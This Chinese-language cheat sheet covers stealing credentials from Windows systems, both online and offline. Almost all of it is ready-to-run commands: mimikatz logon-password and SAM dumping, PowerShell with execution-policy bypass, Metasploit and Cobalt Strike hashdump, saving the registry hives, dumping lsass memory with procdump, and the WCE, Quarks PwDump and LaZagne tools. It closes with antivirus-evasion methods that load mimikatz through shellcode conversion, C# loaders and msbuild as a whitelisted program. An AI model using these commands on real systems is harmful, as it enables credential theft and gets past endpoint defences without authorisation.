0x01 在线抓密码
(1)mimikatz
privilege::debug
token::whoami
token::elevate
lsadump::sam
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
(2)ps脚本
powershell -exec bypass
Import-Module .Get-PassHashes.PS1
Get-PassHashes
(3)msf
run hashdump
hashdump
post/windows/gather/credentials/domain_hashdump(获取域hash)
use mimikatz
wdigest(明文)
(4)cs
hashdump
wdigest
logonpasswords(明文)
0x02 离线抓密码
(1)SAM(卷影副本、注册表)
reg save hklmsam sam.hiv
reg save hklmsystem system.hiv
lsadump::sam /sam:sam.hiv /system:system.hiv (mimikatz)
(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"
(3)手工导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件
点击创建转储文件
0x03 其他工具
(1)Quarks PwDump
命令:quarksPwDump.exe –dhl -o hash.txt
(2)WCE
命令:wce.exe -w(抓取明文)、wce.exe –l(抓取hash)
(3)LaZagne
LaZagne windows
0x04 特殊环境
4.1 限制上传文件长度时导出凭据的方法
如果实际的测试环境对上传文件的长度做了限制,这里给出的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译
参考三好学生链接
为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本
编译代码
C:WindowsMicrosoft.NETFramework64v3.5>csc.exe 1.cs /unsafe
导出凭据的命令:
1.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
4.2 限制下载文件长度时导出凭据的方法
在c#文件中加载mimikatz的方法,实现以下功能:
下载地址
1.获得lsass.exe进程的dmp文件并保存到temp目录
2.从dmp文件导出凭据
3.删除dmp文件
很多实际情况环境对下载文件做了大小限制
编译命令
C:WindowsMicrosoft.NETFramework64v3.5>csc.exe downloadmimikatz.cs /unsafe
然后直接执行exe
0x05 mimikatz bypass
1.PE to shellcode
下载地址
pe2shc.exe mimikatz.exe mimi.txt
runshc64.exe mimi.txt
这个方法不太行了
2.c#加载mimikatz
cscript mimikatz.js
3.白名单加载mimikatz
使用白名单程序msbuild进行进行加载xml文件
C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe mimikatz.xml
4..net4.0加载mimikatz
C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe executes-mimikatz.xml